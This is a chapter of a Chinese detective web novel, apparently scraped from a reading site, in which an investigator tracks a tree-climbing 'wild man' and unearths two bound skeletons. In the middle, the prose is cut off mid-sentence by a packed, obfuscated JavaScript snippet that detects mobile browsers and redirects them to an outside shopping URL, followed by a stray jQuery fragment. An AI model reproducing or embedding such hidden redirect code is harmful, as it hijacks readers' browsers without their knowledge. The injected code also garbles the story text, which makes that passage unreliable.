“老大,怎么了?”阿呆赶到跟前。
景暄和指着地上说:“你看,这里有一串大脚印,虽然被雨水冲刷过,却仍然明显。然而,让我想不通的是,其中为何有一个是最深的?”
欧阳明允点头,道:“按常理来说,脚印虽然有深有浅,可也不会差别如此大吧,这里面一定有蹊跷。”
景暄和像是想起什么,突然抬头,最深的脚印离那参天巨树不远,难道,会与这树有关?一想到此,景暄和便来到树底,也顾不得形象,就开始爬树。还好从小她比一般的孩子顽皮,也爬过不少树,现今正好用得上这技巧。
阿呆十分惊讶,“老大,你这是做什么?”
景暄和已经爬上了一串枝丫,有些气喘吁吁,她仔细地观察着树皮和树干,突然定住了目光,便对着树下的人说:“这里有被攀爬的痕迹。果然不出我所料,野人之前一直躲在树上,在暗中观察,伺机跳下来,然后把人抓走的。”
“如此看来,这野人还有些聪明,不像是一般的家禽鸟兽。”欧阳明允思索了一下,说:“难不成还是预谋作案?如果真是这样,又与人何异?”
“就怕是有人在装神弄鬼。”
景暄和身手敏捷,一会儿便下了树,她拍了一下身上的灰尘,道:“我有一个猜想,这野人在每次抓人前,也许有个习惯,都会躲在树上,找准最好的时机动手,而听目击者的描述,他身形高大,一般的小树肯定是藏不住的,所以,我们这次守株待兔的行动,只需要在一些高大的树木旁边,这样便会加大遇到野人的概率。”
“大人说的对。”欧阳明允身旁的一个官差说道:“之前几次妇女失踪的地点,也是附近有一棵极其高大的树木,当时弟兄们还没太在意,如今大人提出来,才让小人突然想起来。”
“那好,请你联系附近的守林人,帮我们找出六处有高大树木的地方,我们今晚便开始计划。”
“小人遵命!”
她本欲离开,可是转念又踱回了那大树边,只觉得这树木如此的枝繁叶茂,那根部必定也是四通八达的,为了不放过一点线索,景暄和便命人试着将根部挖开,看能不能发现什么有用的线索。
谁知,不挖不知道,一挖吓一跳。
那是两具骸骨,已经死亡了许多年头了,被人用红线缠在一起,又与树木的根部绑在一起,好像是为了滋养此树一般。景暄和一想到如此美丽的大树,居然是用人血来滋养的,就有些恶心。
她拿出仵作的工具,开始仔细检查这两具骸骨,发现这是一男一女两人,他们的手骨和腿骨都有明显的弯折,应该是生前被人硬生生地掰断的,是谁会这么残忍,如此残酷地对待这两人呢?
看来,这已经不是一起简单的失踪案了。
景暄和命人收了这两具骸骨,打算往后去府衙再仔细研究,又遣人去其他三处妇女失踪的地方,看有没有另外的骸骨。
***
夜色渐渐深了,林中气温低,凉意仿佛入了骨髓一般,四周都是浓密的林子,比白天更增了一份恐怖,不时还传出动物的叫声,更添一丝毛骨悚然。
“老大,我们真要分头行动吗?可是阿呆害怕,真的很害怕!”阿呆抓住景暄和的衣袖不放,像个讨奶吃的孩子。
景暄和安慰他道:“我总觉得,这世上的东西再可怕,也不及人心可怕,阿呆又不能跟着我一辈子,总是要有独当一面的时候吧,况且还有十名大理寺的兄弟和你一起,又不是你一人。”
阿呆摇头如拨浪鼓一般,瞪着大眼睛,问:“为什么阿呆不能跟着老大一辈子呢?别人再怎么好,也不如老大有安全感吧,在阿呆的心里,只认你一个人是我老大,别的人嘛,想都不要想。”
景暄和轻咳了一声,像逗小孩一样说:“因为阿呆以后还会娶媳妇,结婚生子后,就算想和我一起办案,也没什么时间吧。”
“阿呆不管,阿呆就是不想离开老大!”
阿呆的手抓得更紧了,景暄和拿他没办法,只好竖起三根手指,保证道:“等抓到野人后,我就带你去顺天府最大的酒楼吃一顿,怎么样?到时候你想吃什么就吃什么,我绝不手软。”
阿呆嘟着嘴,还是有些不愿意。
“这样吧,吃完后我再带你去城郊放风筝,你不是最喜欢放风筝了吗?到时候陪你放个够。”景暄和见他还不乐意,便只好问:“那你说吧,想要什么,只要我能做到的,都答应你。”
“这个愿望暂且留着,等阿呆想到了再告诉你,那老大,你到时候可别反悔!”
“好,谁反悔谁是小狗。”
阿呆这才依依不舍地松开了手,一步三回头,似是十分留恋。
众人离开后,只剩景暄和和那十名大理寺的官差,她向那十人打了个手势,他们便隐入了不远处的一片灌木丛中。大树下,景暄和靠着树干,有些百无聊赖,反正今晚不能睡觉,也不知等到何时,她便任由自己的思想胡乱纷飞。
景暄和摸了摸手中的骨戒指,突然想起庄志兴对自己说的话,于景涟当年虽然表面上是被魏福忠所害,可是陷害他的另有其人,明处的敌人固然可怕,可是躲在暗处的敌人才更让人心惊。事情已经过去许久,茫茫人海,她去哪里寻找这陷害于景涟的坏人呢?
总觉得一切才刚刚开始,其实于歌笛的经历与自己还有几分相似。小时候,景暄和一直认为自己是天之骄子,身边也不乏赞美声,好像所有人都是好人,没有人说她不好,可是后来才发现一切都是假象。她爸爸开了一个有名的建筑公司,可是那公司却因为资金周转的问题倒闭了,后来甚至债台高筑,那些爸爸的朋友便有多远跑多远了。后来景暄和才知道,他们对她好,称赞她,也许不是因为她真的好,只是因为她的身份而已,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671238|144182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不,准确的说,是她爸爸的身份。在那之后,爸爸妈妈打了好几份工还债,景暄和与妹妹景暄妍也放学后做了许多兼职,才慢慢还完债。
庄伯伯的对话中还提到了一份前朝的藏宝图,这就更让景暄和摸不着头脑了。记忆里,于景涟在世时,从未向于歌笛提起过此事,她更加不知道有这东西的存在。可是于景涟一生清廉,吃穿用度都和常人无异,这样想来,他就算得了这图,也会献给陛下,献给大明,又怎会一人独吞呢?
奇怪,真是奇怪。
景暄和有些困了,打了个哈欠,可是只能强撑着不睡,她揉揉眼睛,尽力赶走困意,突然听到远处大叫一声:“抓野人啊!”
正是阿呆的声音。
那声音十分惊恐,景暄和挥手,立刻带着那十名大理寺的官差,朝那个方向奔去。
待她赶到时,高大虎也率先到了,只见阿呆蜷缩在大树底下,似是魂都被吓飞了。他头上带着泥土,似是摔了一跤,衣服也被挂破了,阿呆哭丧着脸,说:“老大,是我没用,没抓到野人,让他给逃走了。”
景暄和见他如此惊慌失措,也不忍心责备,只是问:“你将刚才发生的事情原封不动地说给我听,一个细节都不要放过。”
阿呆定了定心神,说道:“刚才我正在这树下坐着,只觉得好冷,连打了几个喷嚏,突然听见后面似乎有脚步声,我吓得心脏提到了嗓子眼,可是又不敢回头去看,便静待野人攻击我,好反将一军,后来,林子静悄悄的,只听见野人上树的声音,我抓紧手指,强迫自己不要发出声音,后面好像没有动静了,我等啊等,还以为刚才是自己的幻觉,谁知那野人突然跳了下来,作势要抓我,我赶忙跳了一尺远,近距离看,那野人也太高大了,全身长着红棕色的毛,就像一只大猩猩,可是猩猩怎么会有那么高大的,简直像个怪物一样!”
阿呆一口气说了许多,又继续道:“后来,野人朝我扑来,差点一掌就要抓住我的肩膀,这时,大理寺的弟兄们冲了出来,倒把野人给吓到了,他见状便要逃走,我一看,也不知道哪来的勇气,朝野人扑了上去,抱住他的手臂,想坚持到官差们前来,合力将他抓住,谁知那野人力大无比,将我一甩,我便被他甩飞了,幸亏我眼疾手快,见他脖子上挂着一个饰物,便猛地一抓,将那饰物扯下来,喏,就在这里。”
阿呆从怀里掏出一个项链,那项链并不精美,却有一个奇怪的“卍”字图案,像是用器物雕琢上去的。
景暄和用手托着腮,思索了一下,道:“如今我们可以肯定,这野人一定是被其他人指使的,否则又怎会戴着这项链?我不信一个野人,会有能力,造出如此复杂的项链,也不信区区一个野人,会弄出如此大的动静。”
这时,赵四梁也赶到了,见到了这图案,他万年不开的金口突然说了一句话。
“我,见过这图案。”